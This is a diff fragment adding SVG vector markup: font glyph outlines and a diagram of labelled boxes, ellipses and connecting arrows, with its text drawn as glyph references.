+<path style="stroke:none;" d="M 3.421875 -4.578125 L 2.65625 -4.578125 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -5.5625 L 3.328125 -5.859375 L 5.71875 -10.15625 L 7.40625 -10.15625 L 5 -6.0625 L 4.296875 -5.40625 L 5.125 -4.609375 L 7.75 0 L 5.96875 0 Z M 3.421875 -4.578125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-25">
+<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-26">
+<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-27">
+<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-28">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5171">
+<rect x="0" y="0" width="1101" height="520" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 0 0 L 55 0 L 55 25.932422 L 0 25.932422 Z M 0 0 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 44.3 16.932422 C 44.134375 16.932422 44 17.066797 44 17.232422 L 44 19.817773 C 44 19.983398 44.134375 20.117773 44.3 20.117773 L 49.7 20.117773 C 49.865625 20.117773 50 19.983398 50 19.817773 L 50 17.232422 C 50 17.066797 49.865625 16.932422 49.7 16.932422 Z M 44.3 16.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="893.851562" y="379.490723"/>
+  <use xlink:href="#glyph0-2" x="901.390082" y="379.490723"/>
+  <use xlink:href="#glyph0-3" x="910.168294" y="379.490723"/>
+  <use xlink:href="#glyph0-4" x="918.946506" y="379.490723"/>
+  <use xlink:href="#glyph0-5" x="923.355957" y="379.490723"/>
+  <use xlink:href="#glyph0-6" x="932.276313" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="936.584039" y="379.490723"/>
+  <use xlink:href="#glyph0-8" x="943.451986" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="952.270888" y="379.490723"/>
+  <use xlink:href="#glyph0-9" x="959.15918" y="379.490723"/>
+  <use xlink:href="#glyph0-10" x="966.047472" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="974.439399" y="379.490723"/>
+  <use xlink:href="#glyph0-7" x="981.307346" y="379.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.3 21.932422 C 15.134375 21.932422 15 22.066797 15 22.232422 L 15 24.817773 C 15 24.983398 15.134375 25.117773 15.3 25.117773 L 20.7 25.117773 C 20.865625 25.117773 21 24.983398 21 24.817773 L 21 22.232422 C 21 22.066797 20.865625 21.932422 20.7 21.932422 Z M 15.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="317.015625" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="324.554145" y="479.490723"/>
+  <use xlink:href="#glyph0-3" x="333.332357" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="342.110569" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="346.52002" y="479.490723"/>
+  <use xlink:href="#glyph0-6" x="355.440375" y="479.490723"/>
+  <use xlink:href="#glyph0-11" x="359.748101" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="364.970269" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="373.098253" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="377.507704" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="382.242133" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="391.061035" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="396.628526" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 47.016406 20.167969 L 47.032227 21.733203 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 46.782227 21.735547 L 47.037305 22.233008 L 47.282227 21.730664 Z M 46.782227 21.735547 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.05 23.522852 L 43.5 23.505469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.500195 23.755469 L 44 23.505078 L 43.499805 23.255469 Z M 43.500195 23.755469 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 45.05 22.332422 L 49.05 22.332422 C 49.602344 22.332422 50.05 22.857422 50.05 23.504883 C 50.05 24.152539 49.602344 24.677344 49.05 24.677344 L 45.05 24.677344 C 44.497656 24.677344 44.05 24.152539 44.05 23.504883 C 44.05 22.857422 44.497656 22.332422 45.05 22.332422 Z M 45.05 22.332422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="908.992188" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="917.952962" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="926.344889" y="479.088379"/>
+  <use xlink:href="#glyph0-16" x="933.212836" y="479.088379"/>
+  <use xlink:href="#glyph0-2" x="942.051812" y="479.088379"/>
+  <use xlink:href="#glyph0-5" x="950.830024" y="479.088379"/>
+  <use xlink:href="#glyph0-7" x="959.75038" y="479.088379"/>
+  <use xlink:href="#glyph0-10" x="966.618327" y="479.088379"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(92.54902%,74.509805%,75.294119%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 2.3 21.932422 C 2.134375 21.932422 2 22.066797 2 22.232422 L 2 24.817773 C 2 24.983398 2.134375 25.117773 2.3 25.117773 L 11.7 25.117773 C 11.865625 25.117773 12 24.983398 12 24.817773 L 12 22.232422 C 12 22.066797 11.865625 21.932422 11.7 21.932422 Z M 2.3 21.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="51.546875" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="60.325087" y="479.490723"/>
+  <use xlink:href="#glyph0-17" x="69.245443" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="78.856717" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="87.675618" y="479.490723"/>
+  <use xlink:href="#glyph0-19" x="93.263455" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="102.204156" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="110.596083" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="119.516439" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="125.104275" y="479.490723"/>
+  <use xlink:href="#glyph0-9" x="129.513726" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="136.747613" y="479.490723"/>
+  <use xlink:href="#glyph0-18" x="144.875597" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="150.463433" y="479.490723"/>
+  <use xlink:href="#glyph0-2" x="154.872884" y="479.490723"/>
+  <use xlink:href="#glyph0-5" x="163.651096" y="479.490723"/>
+  <use xlink:href="#glyph0-20" x="172.571452" y="479.490723"/>
+  <use xlink:href="#glyph0-12" x="180.963379" y="479.490723"/>
+  <use xlink:href="#glyph0-4" x="189.091363" y="479.490723"/>
+  <use xlink:href="#glyph0-13" x="193.500814" y="479.490723"/>
+  <use xlink:href="#glyph0-8" x="198.235243" y="479.490723"/>
+  <use xlink:href="#glyph0-14" x="207.054145" y="479.490723"/>
+  <use xlink:href="#glyph0-10" x="212.621636" y="479.490723"/>
+  <use xlink:href="#glyph0-21" x="221.013563" y="479.490723"/>
+  <use xlink:href="#glyph0-22" x="225.747993" y="479.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 7 14.932422 L 7 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.75 21.382422 L 7 21.882422 L 7.25 21.382422 Z M 6.75 21.382422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 1 3.932422 L 54 3.932422 L 54 14.932422 L 1 14.932422 Z M 1 3.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 3.3 4.932422 C 3.134375 4.932422 3 5.066797 3 5.232422 L 3 7.817773 C 3 7.983398 3.134375 8.117773 3.3 8.117773 L 10.752539 8.117773 C 10.918164 8.117773 11.052539 7.983398 11.052539 7.817773 L 11.052539 5.232422 C 11.052539 5.066797 10.918164 4.932422 10.752539 4.932422 Z M 3.3 4.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-12" x="92.8125" y="139.490723"/>
+  <use xlink:href="#glyph0-8" x="100.940484" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="109.759386" y="139.490723"/>
+  <use xlink:href="#glyph0-19" x="115.347222" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="124.287923" y="139.490723"/>
+  <use xlink:href="#glyph0-5" x="132.67985" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="141.600206" y="139.490723"/>
+  <use xlink:href="#glyph0-4" x="147.188043" y="139.490723"/>
+  <use xlink:href="#glyph0-9" x="151.597493" y="139.490723"/>
+  <use xlink:href="#glyph0-12" x="158.83138" y="139.490723"/>
+  <use xlink:href="#glyph0-18" x="166.959364" y="139.490723"/>
+  <use xlink:href="#glyph0-10" x="172.38444" y="139.490723"/>
+  <use xlink:href="#glyph0-21" x="180.776367" y="139.490723"/>
+  <use xlink:href="#glyph0-22" x="185.510796" y="139.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 10.932422 C 4.134375 10.932422 4 11.066797 4 11.232422 L 4 13.817773 C 4 13.983398 4.134375 14.117773 4.3 14.117773 L 9.7 14.117773 C 9.865625 14.117773 10 13.983398 10 13.817773 L 10 11.232422 C 10 11.066797 9.865625 10.932422 9.7 10.932422 Z M 4.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-23" x="88.324219" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="97.630588" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="106.571289" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="114.800456" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="122.034342" y="259.490723"/>
+  <use xlink:href="#glyph0-6" x="129.430718" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="133.738444" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="142.57742" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="150.705404" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="157.573351" y="259.490723"/>
+  <use xlink:href="#glyph0-16" x="164.441298" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="173.280273" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="182.058485" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="188.113444" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 10.932422 C 24.134375 10.932422 24 11.066797 24 11.232422 L 24 13.817773 C 24 13.983398 24.134375 14.117773 24.3 14.117773 L 29.7 14.117773 C 29.865625 14.117773 30 13.983398 30 13.817773 L 30 11.232422 C 30 11.066797 29.865625 10.932422 29.7 10.932422 Z M 24.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="489.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="498.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="507.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="513.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="522.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="530.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="539.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="545.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="549.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="556.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="564.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="570.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="574.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="583.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-18" x="493.285156" y="272.189941"/>
+  <use xlink:href="#glyph0-2" x="498.710232" y="272.189941"/>
+  <use xlink:href="#glyph0-24" x="507.488444" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="515.169108" y="272.189941"/>
+  <use xlink:href="#glyph0-5" x="523.561035" y="272.189941"/>
+  <use xlink:href="#glyph0-6" x="532.481391" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="536.789117" y="272.189941"/>
+  <use xlink:href="#glyph0-14" x="544.023003" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="549.590495" y="272.189941"/>
+  <use xlink:href="#glyph0-12" x="557.982422" y="272.189941"/>
+  <use xlink:href="#glyph0-18" x="566.110406" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="571.535482" y="272.189941"/>
+  <use xlink:href="#glyph0-25" x="579.927409" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 10.932422 C 33.134375 10.932422 33 11.066797 33 11.232422 L 33 13.817773 C 33 13.983398 33.134375 14.117773 33.3 14.117773 L 38.7 14.117773 C 38.865625 14.117773 39 13.983398 39 13.817773 L 39 11.232422 C 39 11.066797 38.865625 10.932422 38.7 10.932422 Z M 33.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="669.339844" y="246.791504"/>
+  <use xlink:href="#glyph0-8" x="678.951118" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="687.77002" y="246.791504"/>
+  <use xlink:href="#glyph0-19" x="693.357856" y="246.791504"/>
+  <use xlink:href="#glyph0-10" x="702.298557" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="710.690484" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="719.61084" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="725.198676" y="246.791504"/>
+  <use xlink:href="#glyph0-9" x="729.608127" y="246.791504"/>
+  <use xlink:href="#glyph0-12" x="736.842014" y="246.791504"/>
+  <use xlink:href="#glyph0-18" x="744.969998" y="246.791504"/>
+  <use xlink:href="#glyph0-4" x="750.557834" y="246.791504"/>
+  <use xlink:href="#glyph0-2" x="754.967285" y="246.791504"/>
+  <use xlink:href="#glyph0-5" x="763.745497" y="246.791504"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="695.21875" y="272.189941"/>
+  <use xlink:href="#glyph0-8" x="702.086697" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="710.905599" y="272.189941"/>
+  <use xlink:href="#glyph0-9" x="717.793891" y="272.189941"/>
+  <use xlink:href="#glyph0-10" x="724.682183" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="733.07411" y="272.189941"/>
+  <use xlink:href="#glyph0-7" x="739.942057" y="272.189941"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.75 0.7375 L 8.95 0.7375 C 9.529883 0.7375 10 1.2625 10 1.909961 C 10 2.557422 9.529883 3.082422 8.95 3.082422 L 4.75 3.082422 C 4.170117 3.082422 3.7 2.557422 3.7 1.909961 C 3.7 1.2625 4.170117 0.7375 4.75 0.7375 Z M 4.75 0.7375 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="110.1875" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="119.148275" y="47.186035"/>
+  <use xlink:href="#glyph0-26" x="127.377441" y="47.186035"/>
+  <use xlink:href="#glyph0-8" x="136.155653" y="47.186035"/>
+  <use xlink:href="#glyph0-10" x="144.974555" y="47.186035"/>
+  <use xlink:href="#glyph0-7" x="153.366482" y="47.186035"/>
+  <use xlink:href="#glyph0-18" x="160.234429" y="47.186035"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.3 10.932422 C 13.134375 10.932422 13 11.066797 13 11.232422 L 13 13.817773 C 13 13.983398 13.134375 14.117773 13.3 14.117773 L 20.752539 14.117773 C 20.918164 14.117773 21.052539 13.983398 21.052539 13.817773 L 21.052539 11.232422 C 21.052539 11.066797 20.918164 10.932422 20.752539 10.932422 Z M 13.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="294.84375" y="259.490723"/>
+  <use xlink:href="#glyph0-14" x="302.077637" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="307.645128" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="316.037055" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="324.165039" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="329.590115" y="259.490723"/>
+  <use xlink:href="#glyph0-27" x="337.982042" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="344.971788" y="259.490723"/>
+  <use xlink:href="#glyph0-24" x="353.75" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="361.430664" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="369.822591" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="378.742947" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="383.477376" y="259.490723"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.3 10.932422 C 42.134375 10.932422 42 11.066797 42 11.232422 L 42 13.817773 C 42 13.983398 42.134375 14.117773 42.3 14.117773 L 51.7 14.117773 C 51.865625 14.117773 52 13.983398 52 13.817773 L 52 11.232422 C 52 11.066797 51.865625 10.932422 51.7 10.932422 Z M 42.3 10.932422 " transform="matrix(20,0,0,20,1,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-2" x="849.046875" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="857.825087" y="259.490723"/>
+  <use xlink:href="#glyph0-17" x="866.745443" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="876.356717" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="885.175618" y="259.490723"/>
+  <use xlink:href="#glyph0-19" x="890.763455" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="899.704156" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="908.096083" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="917.016439" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="922.604275" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="927.013726" y="259.490723"/>
+  <use xlink:href="#glyph0-12" x="934.247613" y="259.490723"/>
+  <use xlink:href="#glyph0-18" x="942.375597" y="259.490723"/>
+  <use xlink:href="#glyph0-4" x="947.963433" y="259.490723"/>
+  <use xlink:href="#glyph0-2" x="952.372884" y="259.490723"/>
+  <use xlink:href="#glyph0-5" x="961.151096" y="259.490723"/>
+  <use xlink:href="#glyph0-28" x="970.071452" y="259.490723"/>
+  <use xlink:href="#glyph0-8" x="978.768283" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="987.587185" y="259.490723"/>
+  <use xlink:href="#glyph0-9" x="994.475477" y="259.490723"/>
+  <use xlink:href="#glyph0-10" x="1001.36377" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1009.755697" y="259.490723"/>
+  <use xlink:href="#glyph0-7" x="1016.623644" y="259.490723"/>
+  <use xlink:href="#glyph0-21" x="1023.491591" y="259.490723"/>
+  <use xlink:href="#glyph0-22" x="1028.22602" y="259.490723"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.89668 3.131836 L 6.942578 4.333789 " transform="matrix(20,0,0,20,1,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.692773 4.343359 L 6.961719 4.833398 L 7.192383 4.324414 Z M 6.692773 4.343359 " transform="matrix(20,0,0,20,1,1)"/>
